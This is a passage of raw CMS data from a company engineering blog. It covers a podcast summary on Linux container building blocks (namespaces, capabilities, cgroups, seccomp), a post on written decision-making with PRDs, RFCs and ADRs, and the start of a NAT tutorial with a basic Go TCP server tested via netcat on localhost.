CockroachDB.",[],"rich_text$549a031d-17e9-4eb5-842d-aa6090c316e3",{"variation":437,"version":438,"items":38809,"primary":38810,"id":38836,"slice_type":468,"slice_label":5},[],{"body":38811},[38812,38815,38818,38821,38824,38827,38830],{"type":746,"text":38813,"spans":38814},"Tackling the biggest challenges",[],{"type":25,"text":38816,"spans":38817},"Looking back at the project, Kevin identifies the biggest challenges that he and the platform team have overcome:",[],{"type":1151,"text":38819,"spans":38820},"Networking across the clouds.",[],{"type":1151,"text":38822,"spans":38823},"Operating multiple Kubernetes clusters across the clouds on the managed Kubernetes offering of each cloud vendor.",[],{"type":1151,"text":38825,"spans":38826},"Cross cloud service discovery with static IP addresses with exposed DNS.",[],{"type":25,"text":38828,"spans":38829},"The complex multi-cloud project really pushes the boundaries of what's possible in engineering and is a testament for the great engineering talent at Form3. The project has been running for nearly two years, due to go live in 2023.",[],{"type":25,"text":38831,"spans":38832},"Kevin encourages anyone who is interested in solving some of these problems to check the Form3 vacancies board.",[38833],{"start":9315,"end":4176,"type":489,"data":38834},{"link_type":491,"url":38835},"https:\u002F\u002Fwww.form3.tech\u002Fcareers\u002Fvacancies","rich_text$f5ce67b9-ba62-4add-8f91-993394cc4b22",{"id":38838,"uid":38839,"type":25949,"data":38840},"alz0uREAAC4AUWZg","podcast-containers",{"title":38841,"excerpt":38842,"card_image":38843,"published_date":38848,"reading_time":4603,"tag":25960,"dek":38842,"featured_image":38849,"about_form3":38854,"client_about_heading":5,"client_about_body":38855,"author_name":18970,"author_title":18971,"author_photo":38856,"author_bio":38859,"author_linkedin":38862,"slices":38864,"meta_title":38841,"meta_description":38842},".tech Podcast - The core components of container systems","Michael Kerrisk is a Linux expert and trainer. He joins us to explain what containers are and deep dive into the four core components of containers: namespaces, capabilities, cgroups and seccomp. He also draws parallels on how they are used by Docker to power container systems as we know them today.",{"dimensions":38844,"alt":38841,"copyright":5,"url":38845,"id":38846,"edit":38847},{"width":412,"height":412},"\u002F_prismic-media\u002F5f5e43ca0d8f8138-dnaW1DBCHWKzhApI_podcast-containers.png","dnaW1DBCHWKzhApI",{"x":398,"y":398,"zoom":399,"background":400},"2023-05-17",{"dimensions":38850,"alt":5,"copyright":5,"url":38851,"id":38852,"edit":38853},{"width":501,"height":33951},"\u002F_prismic-media\u002F3ba5253497133109-pJKDARsjUCmzIC3v_0fc30bfd-a72e-43ac-840d-9cc8e02.png","pJKDARsjUCmzIC3v",{"x":398,"y":398,"zoom":399,"background":400},[],[],{"dimensions":38857,"alt":18970,"copyright":5,"url":25966,"id":25967,"edit":38858},{"width":5080,"height":5081},{"x":398,"y":398,"zoom":399,"background":650},[38860],{"type":25,"text":25971,"spans":38861},[],{"link_type":491,"key":38863,"url":25975,"target":493},"4e679094-3380-46eb-bf22-b6a39c7ccfa9",[38865,38885,38903,38930],{"variation":437,"version":527,"items":38866,"primary":38867,"id":38884,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":38868,"body":38872,"cta_label":10704,"cta_link":38875,"aside_type":5,"aside_image":38878,"aside_video":38879,"aside_video_poster":38880,"aside_video_reduced_motion":38881,"aside_video_url":5,"aside_embed":38882,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":38883,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[38869],{"type":746,"text":38870,"spans":38871},"Ep 43 .tech - The core components of container systems",[],[38873],{"type":25,"text":10702,"spans":38874},[],{"link_type":491,"key":38876,"url":38877},"1647d270-d2e2-4747-8d1c-260c16b789f4","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-43-tech-the-core-components-of-container-systems-Obweg5cB",{},{"link_type":536},{},{},{},{"link_type":542},"content_block$3fa362c1-9c4e-4434-a2d9-38b448eb4f80",{"variation":437,"version":438,"items":38886,"primary":38887,"id":38902,"slice_type":468,"slice_label":5},[],{"body":38888},[38889],{"type":25,"text":38890,"spans":38891},"Michael Kerrisk is a Linux expert and runs a Linux System Programming course, which is a very popular course for Form3 engineers. He started working with UNIX, the predecessor of Linux, and has used this knowledge in his Linux courses. Linux was roughly a re-implementation of the UNIX kernel that had been written more than 20 years before at Bell Laboratories. His primary area of focus is not the kernel internals, but the kernel interface that it presents to the world, which is the same as classical UNIX. Michael has always had a passion for teaching, having spent years as a university teacher, before starting his corporate career. He joined the Training department of a previous employer and started delivering the system programming course for them. This was the ideal job for him, as it brought together the two things he was passionate about: UNIX and teaching. He is also the author of \"The Linux Programming Interface\", which is a a detailed guide and reference for Linux and UNIX system programming.",[38892,38895,38898],{"start":398,"end":8472,"type":489,"data":38893},{"link_type":491,"url":38894,"target":493},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fmkerrisk\u002F",{"start":9211,"end":854,"type":489,"data":38896},{"link_type":491,"url":38897,"target":493},"https:\u002F\u002Fman7.org\u002Ftraining\u002F",{"start":6876,"end":38899,"type":489,"data":38900},932,{"link_type":491,"url":38901,"target":493},"https:\u002F\u002Fman7.org\u002Ftlpi\u002Findex.html","rich_text$b9ab240e-1b48-41bf-8bae-656edc6b109b",{"variation":437,"version":438,"items":38904,"primary":38905,"id":38929,"slice_type":468,"slice_label":5},[],{"body":38906},[38907,38910,38916,38920],{"type":746,"text":38908,"spans":38909},"The container illusion",[],{"type":25,"text":38911,"spans":38912},"Michael explains that a container is an illusion. It's an illusion that for a group of processes that are on a system, there is no one else on this same system. The containers think they are the only processes on the system and get private resources that appear to be visible only to them. This concept of isolation is fundamental to containers.",[38913,38914],{"start":846,"end":5490,"type":593},{"start":18656,"end":38915,"type":593},315,{"type":25,"text":38917,"spans":38918},"They also provide a set of standards that make it possible to develop a runtime for a container and deploy the unit anywhere that supports the runtime. Due to these standards, someone producing a container can deliver it anywhere that can run that runtime.",[38919],{"start":3485,"end":3852,"type":593},{"type":25,"text":38921,"spans":38922},"This is specifically what the Docker idea is about, but containers also have more general uses. We can also freeze, restore and migrate containers. The Open Container Initiative (OCI) sets the standards for container interfaces across cloud providers and services.",[38923,38926],{"start":3041,"end":3852,"type":489,"data":38924},{"link_type":491,"url":38925,"target":493},"https:\u002F\u002Fwww.docker.com\u002Fresources\u002Fwhat-container\u002F",{"start":31756,"end":4496,"type":489,"data":38927},{"link_type":491,"url":38928,"target":493},"https:\u002F\u002Fopencontainers.org\u002F","rich_text$621aa805-4ec9-41a7-a53f-76014253053b",{"variation":437,"version":438,"items":38931,"primary":38932,"id":39011,"slice_type":468,"slice_label":5},[],{"body":38933},[38934,38937,38940,38943,38955,38958,38962,38969,38973,38976,38980,38988,38991,38999,39005],{"type":746,"text":38935,"spans":38936},"Core components of container systems",[],{"type":25,"text":38938,"spans":38939},"Michael explains there are four components to container systems. He delves into each component in detail.",[],{"type":988,"text":38941,"spans":38942},"Namespaces",[],{"type":25,"text":38944,"spans":38945},"A namespace is the most important part of the isolation provided by containers. They isolate a global resource to make it appear to a group of processes that they have a private instance of that resource. For example, the uts namespace provides isolation for hostname, making it possible for every container to have and broadcast its own hostname. There are other important namespaces, such as the mount namespaces which provide isolation of the mount list, making it possible for processes to see different sets of mounted file systems.",[38946,38947,38950,38951],{"start":9295,"end":3715,"type":765},{"start":9295,"end":27582,"type":489,"data":38948},{"link_type":491,"url":38949,"target":493},"https:\u002F\u002Fman7.org\u002Flinux\u002Fman-pages\u002Fman7\u002Futs_namespaces.7.html",{"start":13966,"end":15692,"type":765},{"start":13966,"end":38952,"type":489,"data":38953},414,{"link_type":491,"url":38954,"target":493},"https:\u002F\u002Fman7.org\u002Flinux\u002Fman-pages\u002Fman7\u002Fmount_namespaces.7.html",{"type":988,"text":38956,"spans":38957},"Capabilities",[],{"type":25,"text":38959,"spans":38960},"The motivation for creating capabilities is due to the coarse privilege model of UNIX. In this model, superusers can bypass limitations and rules, but regular users must abide by the rules. There is no extra way to grant to grant subsets of permissions.",[38961],{"start":9704,"end":10399,"type":765},{"type":25,"text":38963,"spans":38964},"The general concept of capabilities is to allow the creation of programs that are less powerful than root programs. The power of super-users is split into 41 capabilities. The ability to limit the power granted to programs also allows us to mitigate the risk to our systems in the case that they get compromised, as the attacker has less power to do damage.",[38965,38966],{"start":4023,"end":628,"type":765},{"start":753,"end":19001,"type":489,"data":38967},{"link_type":491,"url":38968,"target":493},"https:\u002F\u002Fman7.org\u002Flinux\u002Fman-pages\u002Fman7\u002Fcapabilities.7.html",{"type":25,"text":38970,"spans":38971},"User namespaces combine the powers of isolation and elevated privilege. They allow us to grant capabilities only inside an isolated container, but not outside it. This means that they can only perform elevated privilege actions on the resources that are governed by their container. For example, we can mount file systems or add network infrastructure only inside the container they have been granted capabilities for.",[38972],{"start":398,"end":8472,"type":765},{"type":988,"text":38974,"spans":38975},"cgroups",[],{"type":25,"text":38977,"spans":38978},"cgroups serve the purpose of measurement and limitation of the usage of various kinds of resources. For example, we can limit the use of memory and CPU. They allow us to set shared limits for groups of processes, which was not possible with the old mechanisms available in UNIX. Sharing limits is helpful, as applications typically constitute of multiple processes.",[38979],{"start":398,"end":1130,"type":765},{"type":25,"text":38981,"spans":38982},"We can also set up limits hierarchically through parent-child relationships between cgroups. This is especially useful as we now have the idea of containers inside containers. This is exactly how Docker resource constraints are implemented.",[38983,38984],{"start":5321,"end":1408,"type":765},{"start":19964,"end":38985,"type":489,"data":38986},223,{"link_type":491,"url":38987,"target":493},"https:\u002F\u002Fdocs.docker.com\u002Fconfig\u002Fcontainers\u002Fresource_constraints\u002F",{"type":988,"text":38989,"spans":38990},"seccomp",[],{"type":25,"text":38992,"spans":38993},"The general idea behind seccomp is that the kernel provides about 400 system calls, but most applications only make use of a tiny subset of these. seccomp allows us to set up sandbox limitations for the system calls that are available to our processes. This allows us to limit what programs can do and mitigate the risk of damage that an attacker can do in the case that the process is compromised.",[38994,38995,38998],{"start":9799,"end":690,"type":765},{"start":14740,"end":1406,"type":489,"data":38996},{"link_type":491,"url":38997,"target":493},"https:\u002F\u002Fman7.org\u002Flinux\u002Fman-pages\u002Fman2\u002Fsyscalls.2.html",{"start":5103,"end":4522,"type":765},{"type":25,"text":39000,"spans":39001},"By default, common system calls are allowed and disallows around 30-40 potentially dangerous system calls. We can create Docker seccomp security profiles to modify the default security profile.",[39002],{"start":19436,"end":9277,"type":489,"data":39003},{"link_type":491,"url":39004,"target":493},"https:\u002F\u002Fdocs.docker.com\u002Fengine\u002Fsecurity\u002Fseccomp\u002F",{"type":25,"text":39006,"spans":39007},"Docker builds on these four core components, abstracting away the complexities. Gaining a deeper understanding of the underlying mechanisms can help us gain a deeper understanding of the behaviour or our systems. Michael's training courses allow you to do just that.",[39008],{"start":38985,"end":19536,"type":489,"data":39009},{"link_type":491,"url":39010,"target":493},"https:\u002F\u002Fman7.org\u002Ftraining\u002Findex.html","rich_text$681aba10-5931-4579-b013-7b54e3ced070",{"id":39013,"uid":39014,"type":25949,"data":39015},"alz0rBEAACcAUWZH","blog-decision-making",{"title":39016,"excerpt":39017,"card_image":39018,"published_date":39023,"reading_time":4603,"tag":25960,"dek":39017,"featured_image":39024,"about_form3":39029,"client_about_heading":5,"client_about_body":39030,"author_name":26951,"author_title":26952,"author_photo":39031,"author_bio":39034,"author_linkedin":39039,"slices":39041,"meta_title":39016,"meta_description":39017},"Decision-making and design in growing engineering organisations","Andy recently wrote about what he considers to be the key ingredients for bootstrapping a new engineering organisation. Many of these ingredients are about what you use to build your organisation with. However, this post describes one key element of how you do it. This blog post describes one way of making decisions and designing new changes which scales well with a growing team, and includes everyone in the process.",{"dimensions":39019,"alt":39016,"copyright":5,"url":39020,"id":39021,"edit":39022},{"width":412,"height":412},"\u002F_prismic-media\u002Fe08b97f73c913d25-X9UhY2MQBrd8h0YV_blog-decision-making.png","X9UhY2MQBrd8h0YV",{"x":398,"y":398,"zoom":399,"background":400},"2023-06-28",{"dimensions":39025,"alt":5,"copyright":5,"url":39026,"id":39027,"edit":39028},{"width":501,"height":646},"\u002F_prismic-media\u002Fe270da4b18ea07ff-DAj6Q-M9i5MxEvaq_b4907da6-607a-4a3e-97db-018f95b.jpg","DAj6Q-M9i5MxEvaq",{"x":398,"y":398,"zoom":399,"background":650},[],[],{"dimensions":39032,"alt":26951,"copyright":5,"url":26956,"id":26957,"edit":39033},{"width":5080,"height":26955},{"x":398,"y":398,"zoom":399,"background":650},[39035],{"type":25,"text":26961,"spans":39036},[39037],{"start":19275,"end":18958,"type":489,"data":39038},{"link_type":491,"url":26965,"target":493},{"link_type":491,"key":39040,"url":26968,"target":493},"3ee16ddc-986a-4291-ad56-8d909e77dd55",[39042,39062,39079,39119,39136],{"variation":437,"version":438,"items":39043,"primary":39044,"id":39061,"slice_type":468,"slice_label":5},[],{"body":39045},[39046,39049,39052,39055,39058],{"type":25,"text":39047,"spans":39048},"In some senses, the way you make decisions in a small engineering organisation may seem unimportant. Especially when there is a small team involved, decisions can be made synchronously via conversation. Similarly, system design can be conducted at a whiteboard; be it physical or virtual.",[],{"type":25,"text":39050,"spans":39051},"However, as an engineering organisation grows, face-to-face decision making and design starts to scale less well for a couple of reasons:",[],{"type":1151,"text":39053,"spans":39054},"The communication of the decisions and designs doesn't scale well; the reasons why things are being done a particular way have to be explained (and remembered!) by every new joiner.",[],{"type":1151,"text":39056,"spans":39057},"The process of actually making decisions becomes less democratised as the size of the team grows; it's harder to keep people involved in the process when you can't share a pizza amongst the team.",[],{"type":25,"text":39059,"spans":39060},"If you don't start off making decisions and designing new things in a way that scales well with the size of your engineering organisation, you end up with a \"blind spot\" where no-one really knows why things were done the way they were when your organisation was started. Of course, this isn't strictly speaking true; much of this initial knowledge might become \"tribal\"--known by everyone--without the need for any specific practices. However, sooner or later you'll need something better than \"face-to-face\".",[],"rich_text$06549ec6-1f11-4717-b230-e4034ce72d43",{"variation":437,"version":438,"items":39063,"primary":39064,"id":39078,"slice_type":468,"slice_label":5},[],{"body":39065},[39066,39069,39072,39075],{"type":746,"text":39067,"spans":39068},"Writing, not talking",[],{"type":25,"text":39070,"spans":39071},"As an engineering organisation grows, synchronous decision-making in conversation becomes harder to scale, and becomes less inclusive. In my view, the solution to this problem is to start off by making decisions via the medium of writing, rather than talking.",[],{"type":25,"text":39073,"spans":39074},"In the beginning, in a small team, it might be very natural for decisions to be made verbally; and that's fine. However, in order for the decision-making and design to be preserved for future team mates, and for it to be easily consumed by the masses of your future organisation, I still think it needs to be written down.",[],{"type":25,"text":39076,"spans":39077},"A popular pattern for this is the Architecture Design Record (ADR), in which a short document is written to capture the context, outcome, and consequences of a decision. Provided an ADR is the artefact of the decision-making or design process, then you can rest assured that the decisions made as your engineering organisation was bootstrapped will be easy to share with new colleagues in the future.",[],"rich_text$9b440994-c2ae-44dc-aa13-15231dac5329",{"variation":437,"version":438,"items":39080,"primary":39081,"id":39118,"slice_type":468,"slice_label":5},[],{"body":39082},[39083,39086,39089,39092,39096,39100,39103,39106,39109,39112,39115],{"type":746,"text":39084,"spans":39085},"Problems, not solutions",[],{"type":25,"text":39087,"spans":39088},"This is probably true at any stage in the growth of an engineering organisation, but especially as it begins to grow beyond the founding members it is important to focus on problems before solutions. As with the early decisions, I think it's helpful to do this in a written form, so that problems and their solutions can be shared with a large number of colleagues in a way that everyone has access to the decision-making material.",[],{"type":25,"text":39090,"spans":39091},"My preference is to structure this discourse via two document types:",[],{"type":1151,"text":39093,"spans":39094},"Problem requirements documents (PRDs).",[39095],{"start":398,"end":11705,"type":593},{"type":1151,"text":39097,"spans":39098},"Requests for comment (RFCs).",[39099],{"start":398,"end":9704,"type":593},{"type":25,"text":39101,"spans":39102},"When you start considering a topic that requires a decision, or a new feature that requires a design, the idea is that you start off by clearly describing the problem you're solving in a PRD. A PRD might consist of some background information, the motivation for solving the problem, and the problem description itself. If everyone agrees on the problem statement, then everyone is on the same page when it comes to considering possible solutions, and making a decision.",[],{"type":25,"text":39104,"spans":39105},"Having agreed on the problem you're solving, it's possible that you may want to discuss several competing solutions. An RFC provides a structured approach for you to refer to a specific problem, and outline a proposed solution. This is equally useful for making a decision about the way your organisation is run, as it is for deciding on the architecture for a new functional component in your system. An RFC might contain some background information, a reference to the problem, and the proposed solution.",[],{"type":25,"text":39107,"spans":39108},"Making decisions and designing changes via PRDs and RFCs has a number of advantages in my view:",[],{"type":1151,"text":39110,"spans":39111},"They scale well with the number of people in your organisation; everyone can read them without the need to pass on information verbally.",[],{"type":1151,"text":39113,"spans":39114},"They democratise access to the decision-making process; anyone can read and comment on a PRD or RFC and take part in the process.",[],{"type":1151,"text":39116,"spans":39117},"They provide a consistent, neutral medium for discussion and decision-making; whether or not someone is a charismatic speaker is less likely to enter into the decision-making process, and people are more likely to consider the facts as presented in the written document.",[],"rich_text$fd647c1a-b700-4cfd-996c-89b22f371c0a",{"variation":437,"version":438,"items":39120,"primary":39121,"id":39135,"slice_type":468,"slice_label":5},[],{"body":39122},[39123,39126,39129,39132],{"type":746,"text":39124,"spans":39125},"A history of design",[],{"type":25,"text":39127,"spans":39128},"I would advocate utilising PRDs and RFCs from the very beginning when bootstrapping an engineering organisation. Doing so builds a culture of writing to make decisions and design new systems, and makes your decision-making transparent and accessible from the beginning. Any decisions made outside of a PRD\u002FRFC and be recorded in ADRs, so that they don't get lost in the mythical history of your organisation.",[],{"type":25,"text":39130,"spans":39131},"The end result is an iterative, cumulative history of all the decisions you have made in building your team and your product. The design documents describe the evolution of your system, and make ideal reference materials for new team members, or for future conversation. If anyone wants to know \"how your system works\", you can just give them a curated list of RFCs to read.",[],{"type":25,"text":39133,"spans":39134},"In my opinion, using writing to make decisions and design new things is a great way of generating high-quality, living documentation, as well as for democratising and scaling the decision-making process.",[],"rich_text$a1a75327-f9a2-4d8a-9718-bfa4bb6a4e74",{"variation":437,"version":438,"items":39137,"primary":39138,"id":39164,"slice_type":468,"slice_label":5},[],{"body":39139},[39140,39143,39146,39149,39153,39157,39161],{"type":746,"text":39141,"spans":39142},"PRDs, RFCs, and ADRs: a summary",[],{"type":25,"text":39144,"spans":39145},"I think that using writing to make decisions from early on in the life of an engineering organisation is invaluable. Not only does it set you up for success as your organisation grows, but it also builds a high-quality history of design that will be valuable again and again as your team and product are built.",[],{"type":25,"text":39147,"spans":39148},"I've found a good pattern for structuring this written material to be the use of three distinct documents:",[],{"type":1151,"text":39150,"spans":39151},"Architecture decision records (ADRs): a decision that you've made.",[39152],{"start":11705,"end":9237,"type":765},{"type":1151,"text":39154,"spans":39155},"Problem requirements documents (PRDs): a problem that needs to be solved.",[39156],{"start":4219,"end":1797,"type":765},{"type":1151,"text":39158,"spans":39159},"Requests for comments (RFCs): a solution you'd like feedback on.",[39160],{"start":871,"end":629,"type":765},{"type":25,"text":39162,"spans":39163},"These documents could be in Google Docs, Markdown files in a Git repo, or issues in a Git forge. The main thing is that you establish practices for using them as the medium for your organisation's decision-making and design processes.",[],"rich_text$ca0da870-8f4f-4b2e-bd8f-13f7d660e507",{"id":39166,"uid":39167,"type":25949,"data":39168},"alz1IREAAC0AUWgG","nat-and-proxies-part-1",{"title":39169,"excerpt":39170,"card_image":39171,"published_date":39176,"reading_time":1633,"tag":25960,"dek":39177,"featured_image":39178,"about_form3":39183,"client_about_heading":5,"client_about_body":39184,"author_name":26951,"author_title":26952,"author_photo":39185,"author_bio":39188,"author_linkedin":39193,"slices":39195,"meta_title":39169,"meta_description":39170},"Network Address Translation (NAT) and Proxies (part 1)","Exposing pools of machines to clients, or routing network traffic via an intermediary, are common techniques in distributed computing, and large networks. Network Address Translation, forward proxies, and reverse proxies, are three common techniques for managing network traffic at scale. However, I've always found each of these topics to be somewhat mystical, and I've never understood the fundamentals of how each technique works. This blog post will attempt to distil each idea into its simplest form, and write a code example where possible.",{"dimensions":39172,"alt":39169,"copyright":5,"url":39173,"id":39174,"edit":39175},{"width":412,"height":412},"\u002F_prismic-media\u002F44dbee4b699cabbc-eMKN_hRP9wBBdJIt_nat-and-proxies-part-1.png","eMKN_hRP9wBBdJIt",{"x":398,"y":398,"zoom":399,"background":400},"2022-05-04","Exposing pools of machines to clients, or routing network traffic via an intermediary, are common techniques in distributed computing, and large networks. Network Address Translation, forward proxies, and reverse proxies, are three common techniques for managing network traffic at scale. However, each of these topics can be somewhat mystical, and I've never understood the fundamentals of how each technique works. This blog post will attempt to distil each idea into its simplest form, and write a code example where possible.",{"dimensions":39179,"alt":5,"copyright":5,"url":39180,"id":39181,"edit":39182},{"width":501,"height":502},"\u002F_prismic-media\u002F262c362bc05b220e-C-lSzGUBjEm2kzKU_17dc1378-af0e-4824-84e3-be52dc6.png","C-lSzGUBjEm2kzKU",{"x":398,"y":398,"zoom":399,"background":400},[],[],{"dimensions":39186,"alt":26951,"copyright":5,"url":26956,"id":26957,"edit":39187},{"width":5080,"height":26955},{"x":398,"y":398,"zoom":399,"background":650},[39189],{"type":25,"text":26961,"spans":39190},[39191],{"start":19275,"end":18958,"type":489,"data":39192},{"link_type":491,"url":26965,"target":493},{"link_type":491,"key":39194,"url":26968,"target":493},"0b83538e-5f1c-43ec-9bb4-4a7426a5cbb2",[39196,39225,39244,39252,39261,39269,39279,39287,39304,39332,39349,39360,39370,39378,39455,39486,39500,39517],{"variation":437,"version":438,"items":39197,"primary":39198,"id":39224,"slice_type":468,"slice_label":5},[],{"body":39199},[39200,39203,39205,39207,39209,39212,39214,39216,39218],{"type":25,"text":39201,"spans":39202},"This first blog post will:",[],{"type":1151,"text":28915,"spans":39204},[],{"type":1151,"text":28918,"spans":39206},[],{"type":1151,"text":28921,"spans":39208},[],{"type":25,"text":39210,"spans":39211},"A second blog post will:",[],{"type":1151,"text":28927,"spans":39213},[],{"type":1151,"text":28930,"spans":39215},[],{"type":1151,"text":28933,"spans":39217},[],{"type":25,"text":39219,"spans":39220},"This blog post assumes the reader has an understanding of IP addresses, and CIDR ranges.",[39221],{"start":854,"end":3872,"type":489,"data":39222},{"link_type":491,"url":39223,"target":493},"https:\u002F\u002Fen.wikipedia.org\u002Fwiki\u002FClassless_Inter-Domain_Routing","rich_text$350df5f0-f3e9-471d-a4bf-506961b6c813",{"variation":437,"version":438,"items":39226,"primary":39227,"id":39243,"slice_type":468,"slice_label":5},[],{"body":39228},[39229,39232,39235,39238],{"type":746,"text":39230,"spans":39231},"TCP over IP",[],{"type":25,"text":39233,"spans":39234},"TCP is a connection-oriented protocol, which normally uses the Internet Protocol (IP) to transmit data. This combination is often referred to as TCP\u002FIP. TCP underpins most network traffic on the internet, so before we go any further it's useful to get a grasp of how it works from a practical point of view.",[],{"type":25,"text":39236,"spans":39237},"In TCP, servers listen for new connections on a specific port. Clients establish connections to server's port from a random port on their host, allocated by the operating system. This combination of the IP\u002Fport of the client, and the IP\u002Fport of the server, uniquely identifies the connection between the two machines.",[],{"type":25,"text":39239,"spans":39240},"In Go, listening for new connections (like a server would) is easy using the net package. The net package offers a high-level interface for listening for, accepting, and reading from new connections. The example below shows a simple example of a process listening for new connections, and waiting to accept them.",[39241,39242],{"start":855,"end":3872,"type":765},{"start":6779,"end":4084,"type":765},"rich_text$ed03cf72-05bd-4872-8039-fab552f3f17c",{"variation":437,"version":438,"items":39245,"primary":39246,"id":39251,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":39247},[39248],{"type":27922,"text":39249,"spans":39250},"func main() {\n    \u002F\u002F The server listens for TCP connections on the port 8080. If a client\n    \u002F\u002F tried to establish a connection with the host this process was running on,\n    \u002F\u002F on port 8080, they would be directed to this process.\n    listener, err := net.Listen(\"tcp\", \":8080\")\n    if err != nil {\n        panic(err)\n    }\n\n    for {\n        \u002F\u002F The server waits to accept new connections. It can handle multiple\n        \u002F\u002F connections, from multiple clients. As a result, it can handle each\n        \u002F\u002F connection in the background, and the continue to wait for new connections\n        \u002F\u002F to be established.\n        connection, err := listener.Accept()\n        if err != nil {\n            panic(err)\n        }\n\n        \u002F\u002F Handle the connection in the background.\n        go handleConnection(connection)\n    }\n}",[],"code_block$46b66623-8e1e-488d-8b2b-cbd8d9541835",{"variation":437,"version":438,"items":39253,"primary":39254,"id":39260,"slice_type":468,"slice_label":5},[],{"body":39255},[39256],{"type":25,"text":39257,"spans":39258},"The handleConnection() function can handle new connections by reading any data sent along the connection, and writing any data that needs to be returned. The example below illustrates reading and writing data, before closing the connection:",[39259],{"start":418,"end":7635,"type":765},"rich_text$84a7616e-1d87-4083-b85b-9cd1036dcaa9",{"variation":437,"version":438,"items":39262,"primary":39263,"id":39268,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":39264},[39265],{"type":27922,"text":39266,"spans":39267},"func handleConnection(connection net.Conn) {\n    \u002F\u002F The server reads data from the connection. This data is just a stream of bytes, and\n    \u002F\u002F could represent a common application-level protocol such as HTTP, or a custom\n    \u002F\u002F protocol of your choosing.\n    b, err := io.ReadAll(connection)\n    if err != nil {\n        panic(err)\n    }\n\n    \u002F\u002F The server can also send data back along the connection. In this case,\n    \u002F\u002F it always sends the same data.\n    _, err = connection.Write([]byte(\"hello world!\\n\"))\n    if err != nil {\n        panic(err)\n    }\n\n    \u002F\u002F The server can keep the connection open for as long as it likes, and\n    \u002F\u002F continue to send and receive data indefinitely. In this example,\n    \u002F\u002F having read and written data, the server closes the connection. If the\n    \u002F\u002F client wanted to continue communicating with the server, it would have\n    \u002F\u002F to establish a new connection.\n    connection.Close()\n}",[],"code_block$fd46f1d0-a610-4bad-9cc1-ddc7472652c3",{"variation":437,"version":438,"items":39270,"primary":39271,"id":39278,"slice_type":468,"slice_label":5},[],{"body":39272},[39273],{"type":25,"text":39274,"spans":39275},"Running this sample application will start a process listening on port 8080, and allow you to establish TCP connections with localhost:8080. A TCP connection can be established from a client using a command line tool: nc(netcat). In the following example, a TCP connection is established, some data sent, and some data received:",[39276,39277],{"start":10343,"end":9287,"type":765},{"start":19453,"end":25009,"type":765},"rich_text$abed6fb2-2151-41da-8fe4-d715fddf7de8",{"variation":437,"version":438,"items":39280,"primary":39281,"id":39286,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":39282},[39283],{"type":27922,"text":39284,"spans":39285},"$ echo -n \"hello\" | nc localhost 8080\nhello world!",[],"code_block$2059d9cf-9208-4b56-b1a5-5a8f21d84f96",{"variation":437,"version":438,"items":39288,"primary":39289,"id":39303,"slice_type":468,"slice_label":5},[],{"body":39290},[39291,39294,39297,39300],{"type":746,"text":39292,"spans":39293},"TCP over IP summary",[],{"type":1151,"text":39295,"spans":39296},"TCP is a connection-oriented protocol, allowing a client to establish a reliable line of communication with a server.",[],{"type":1151,"text":39298,"spans":39299},"TCP is a transport-layer protocol, and requires a network-layer protocol to handle underlying network transmission.",[],{"type":1151,"text":39301,"spans":39302},"TCP is usually transmitted via the Internet Protocol (IP), and this combination is normally referred to as TCP\u002FIP.",[],"rich_text$e635f186-6ced-4e07-b57a-31de391b265f",{"variation":437,"version":438,"items":39305,"primary":39306,"id":39331,"slice_type":468,"slice_label":5},[],{"body":39307},[39308,39311,39314,39317,39320,39323,39326],{"type":746,"text":39309,"spans":39310},"IP and the Linux networking stack",[],{"type":25,"text":39312,"spans":39313},"The Internet Protocol itself is a low-level protocol used to transmit data packets across an internet network. It is used to encapsulate higher-level protocols (like TCP and UDP). IP packets consist of a header and a payload. The payload is where the encapsulated packets from the higher-level protocol are transmitted. The IP header contains a number of fields, but the following ones are of interest to this post:",[],{"type":1151,"text":39315,"spans":39316},"Source address: the IP address of the sender.",[],{"type":1151,"text":39318,"spans":39319},"Destination address: the IP address of the intended recipient.",[],{"type":25,"text":39321,"spans":39322},"These fields contain the source and destination IP addresses of the packets, and nothing else. You may notice that there is no information in here about ports, which are part of higher-level protocols (e.g. ports are part of the TCP implementation).",[],{"type":25,"text":39324,"spans":39325},"Now, when it comes to sending and receiving IP packets from an application it isn't as straightforward as it sounds. IP is a low-level networking protocol, and is normally handled directly by the operating system. In Linux, the socket-based networking stack takes care of all TCP\u002FIP and UDP\u002FIP communication. The sending and receiving of raw IP network packets is handled in kernel space, and user space applications are presented with a high-level interface (a file descriptor to read\u002Fwrite data to).",[],{"type":25,"text":39327,"spans":39328},"As a result, it's difficult to illustrate IP packet handling in a simple user space application, because the details of packet handling are normally handled by the kernel's network stack. In the TCP example above, the networking primitives exposed by the Go net package are somewhat similar to the syscalls the Linux kernel exposes to applications. Interacting with IP packets directly isn't something a user space application would normally need to worry about.",[39329],{"start":23880,"end":39330,"type":765},261,"rich_text$e1083d83-ac5b-4072-a504-79ce824eebab",{"variation":437,"version":438,"items":39333,"primary":39334,"id":39348,"slice_type":468,"slice_label":5},[],{"body":39335},[39336,39339,39342,39345],{"type":746,"text":39337,"spans":39338},"IP and Linux networking summary",[],{"type":1151,"text":39340,"spans":39341},"IP is a low-level protocol, concerned with the IP addresses of hosts on a network (but not ports).",[],{"type":1151,"text":39343,"spans":39344},"IP packet transmission is normally handled by the operating system.",[],{"type":1151,"text":39346,"spans":39347},"The Linux kernel offers applications a networking abstraction at the transport-level (e.g. TCP, UDP), and handles IP packet transmission internally.",[],"rich_text$b7b10fe4-ac52-4831-8f27-e283a71a6296",{"variation":437,"version":438,"items":39350,"primary":39351,"id":39359,"slice_type":468,"slice_label":5},[],{"body":39352},[39353,39356],{"type":746,"text":39354,"spans":39355},"Network Address Translation",[],{"type":25,"text":39357,"spans":39358},"Network Address Translation is a procedure commonly employed on routers to hide the IP network space of one network when connecting it to another. A good example of this is your home network router. Your router probably applies NAT to network traffic destined for the internet. If you check out your public IP address, you will find out the IP address of your router on the internet, rather than the private IP address allocated to your machine on your home network. This process is illustrated in the diagram below:",[],"rich_text$bb772a36-553d-44ec-91f1-58453f8afe88",{"variation":437,"version":438,"items":39361,"primary":39362,"id":39369,"slice_type":468,"slice_label":5},[],{"body":39363},[39364],{"type":25,"text":39365,"spans":39366},"In this 